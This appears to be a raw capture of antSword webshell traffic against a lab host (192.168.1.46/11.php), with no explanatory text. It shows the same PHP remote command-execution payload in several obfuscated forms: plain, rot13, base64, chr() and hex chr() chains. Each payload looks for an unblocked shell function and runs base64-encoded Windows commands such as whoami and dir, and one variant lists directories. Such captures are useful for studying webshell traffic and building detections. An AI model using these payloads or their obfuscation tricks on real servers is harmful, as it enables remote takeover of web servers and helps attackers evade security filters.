@ini_set("display_errors", "0");@set_time_limit(0);echo "32712";$p=base64_decode($_POST["0xddc3f3c0675db"]);$s=base64_decode($_POST["0x1c1587765dab7"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){[url=https://www.t00ls.com/space-uid-5987.html]@system[/url]($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("

",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;echo "e1bd8";die();

----------------------------705717352973578568091136

Content-Disposition: form-data; name="0x1c1587765dab7"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------705717352973578568091136

Content-Disposition: form-data; name="0xddc3f3c0675db"



Y21k

----------------------------705717352973578568091136--

随机模式

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------486493062879705054027654

Content-Length: 1511

Connection: close



----------------------------486493062879705054027654

Content-Disposition: form-data; name="1"



@eval(@str_rot13($_POST[_0x38d0aac671656]));

----------------------------486493062879705054027654

Content-Disposition: form-data; name="0x54fad60427451"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------486493062879705054027654

Content-Disposition: form-data; name="0x5c13907b4f5c5"



Y21k

----------------------------486493062879705054027654

Content-Disposition: form-data; name="_0x38d0aac671656"



@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "08qrp";$c=onfr64_qrpbqr($_CBFG["0k5p13907o4s5p5"]);$f=onfr64_qrpbqr($_CBFG["0k54snq60427451"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("

",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "19276";qvr();

----------------------------486493062879705054027654--

Base64

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------920980492824534159421648

Content-Length: 1811

Connection: close



----------------------------920980492824534159421648

Content-Disposition: form-data; name="1"



@eval(@base64_decode($_POST[_0x7a2aa04c99e39]));

----------------------------920980492824534159421648

Content-Disposition: form-data; name="0x112ace866fba6"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------920980492824534159421648

Content-Disposition: form-data; name="0x9ed095c49f523"



Y21k

----------------------------920980492824534159421648

Content-Disposition: form-data; name="_0x7a2aa04c99e39"



QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiYjM3MWQiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDllZDA5NWM0OWY1MjMiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4MTEyYWNlODY2ZmJhNiJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjRmYmZlIjtkaWUoKTs=

----------------------------920980492824534159421648--

Chr 模式

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------476837918603096221372219

Content-Length: 4168

Connection: close



----------------------------476837918603096221372219

Content-Disposition: form-data; name="1"



@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(55).ChR(99).ChR(99).ChR(56).ChR(98).ChR(34).ChR(59).ChR(36).ChR(68).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(56).ChR(99).ChR(100).ChR(49).ChR(100).ChR(102).ChR(55).ChR(51).ChR(55).ChR(102).ChR(54).ChR(98).ChR(55).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(70).ChR(61).ChR(64).ChR(111).ChR(112).ChR(101).ChR(110).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(68).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(70).ChR(61).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(40).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(32).ChR(80).ChR(97).ChR(116).ChR(104).ChR(32).ChR(78).ChR(111).ChR(116).ChR(32).ChR(70).ChR(111).ChR(117).ChR(110).ChR(100).ChR(32).ChR(79).ChR(114).ChR(32).ChR(78).ChR(111).ChR(32).ChR(80).ChR(101).ChR(114).ChR(109).ChR(105).ChR(115).ChR(115).ChR(105).ChR(111).ChR(110).ChR(33).ChR(34).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(77).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(59).ChR(36).ChR(76).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(59).ChR(119).ChR(104).ChR(105).ChR(108).ChR(101).ChR(40).ChR(36).ChR(78).ChR(61).ChR(64).ChR(114).ChR(101).ChR(97).ChR(100).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(70).ChR(41).ChR(41).ChR(123).ChR(36).ChR(80).ChR(61).ChR(36).ChR(68).ChR(46).ChR(36).ChR(78).ChR(59).ChR(36).ChR(84).ChR(61).ChR(64).ChR(100).ChR(97).ChR(116).ChR(101).ChR(40).ChR(34).ChR(89).ChR(45).ChR(109).ChR(45).ChR(100).ChR(32).ChR(72).ChR(58).ChR(105).ChR(58).ChR(115).ChR(34).ChR(44).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(109).ChR(116).ChR(105).ChR(109).ChR(101).ChR(40).ChR(36).ChR(80).ChR(41).ChR(41).ChR(59).ChR(64).ChR(36).ChR(69).ChR(61).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(95).ChR(99).ChR(111).ChR(110).ChR(118).ChR(101).ChR(114).ChR(116).ChR(40).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(112).ChR(101).ChR(114).ChR(109).ChR(115).ChR(40).ChR(36).ChR(80).ChR(41).ChR(44).ChR(49).ChR(48).ChR(44).ChR(56).ChR(41).ChR(44).ChR(45).ChR(52).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(9).ChR(34).ChR(46).ChR(36).ChR(84).ChR(46).ChR(34).ChR(9).ChR(34).ChR(46).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(115).ChR(105).ChR(122).ChR(101).ChR(40).ChR(36).ChR(80).ChR(41).ChR(46).ChR(34).ChR(9).ChR(34).ChR(46).ChR(36).ChR(69).ChR(46).ChR(34).ChR(10).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(64).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(80).ChR(41).ChR(41).ChR(36).ChR(77).ChR(46).ChR(61).ChR(36).ChR(78).ChR(46).ChR(34).ChR(47).ChR(34).ChR(46).ChR(36).ChR(82).ChR(59).ChR(101).ChR(108).ChR(115).ChR(101).ChR(32).ChR(36).ChR(76).ChR(46).ChR(61).ChR(36).ChR(78).ChR(46).ChR(36).ChR(82).ChR(59).ChR(125).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(77).ChR(46).ChR(36).ChR(76).ChR(59).ChR(64).ChR(99).ChR(108).ChR(111).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(70).ChR(41).ChR(59).ChR(125).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(55).ChR(55).ChR(52).ChR(49).ChR(48).ChR(34).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));

----------------------------476837918603096221372219

Content-Disposition: form-data; name="0x8cd1df737f6b7"



QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3BocE15QWRtaW4v

----------------------------476837918603096221372219--

Chr16

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------064405078172668396849813

Content-Length: 9314

Connection: close



----------------------------064405078172668396849813

Content-Disposition: form-data; name="1"



@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x33).ChR(0x65).ChR(0x33).ChR(0x66).ChR(0x63).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x70).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x61).ChR(0x34).ChR(0x61).ChR(0x35).ChR(0x33).ChR(0x35).ChR(0x35).ChR(0x30).ChR(0x36).ChR(0x33).ChR(0x33).ChR(0x65).ChR(0x31).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x39).ChR(0x37).ChR(0x36).ChR(0x64).ChR(0x62).ChR(0x39).ChR(0x34).ChR(0x37).ChR(0x66).ChR(0x38).ChR(0x38).ChR(0x66).ChR(0x38).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x63).ChR(0x3d).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x20).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x64).ChR(0x61).ChR(0x32).ChR(0x63).ChR(0x62).ChR(0x22).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));

----------------------------064405078172668396849813

Content-Disposition: form-data; name="0x976db947f88f8"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------064405078172668396849813

Content-Disposition: form-data; name="0xa4a53550633e1"



Y21k

----------------------------064405078172668396849813--

Ro13

POST /11.php HTTP/1.1

Host: 192.168.1.46

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.0

content-type: multipart/form-data; boundary=--------------------------373152902339766627126123

Content-Length: 1509

Connection: close



----------------------------373152902339766627126123

Content-Disposition: form-data; name="1"



@eval(@str_rot13($_POST[_0xbed4e6239baec]));

----------------------------373152902339766627126123

Content-Disposition: form-data; name="0x4d5a5ad8853d"



Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

----------------------------373152902339766627126123

Content-Disposition: form-data; name="0xa0833138bd497"



Y21k

----------------------------373152902339766627126123

Content-Disposition: form-data; name="_0xbed4e6239baec"



@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "0pn56";$c=onfr64_qrpbqr($_CBFG["0kn0833138oq497"]);$f=onfr64_qrpbqr($_CBFG["0k4q5n5nq8853q"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("

",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "q9808";qvr();

----------------------------373152902339766627126123--

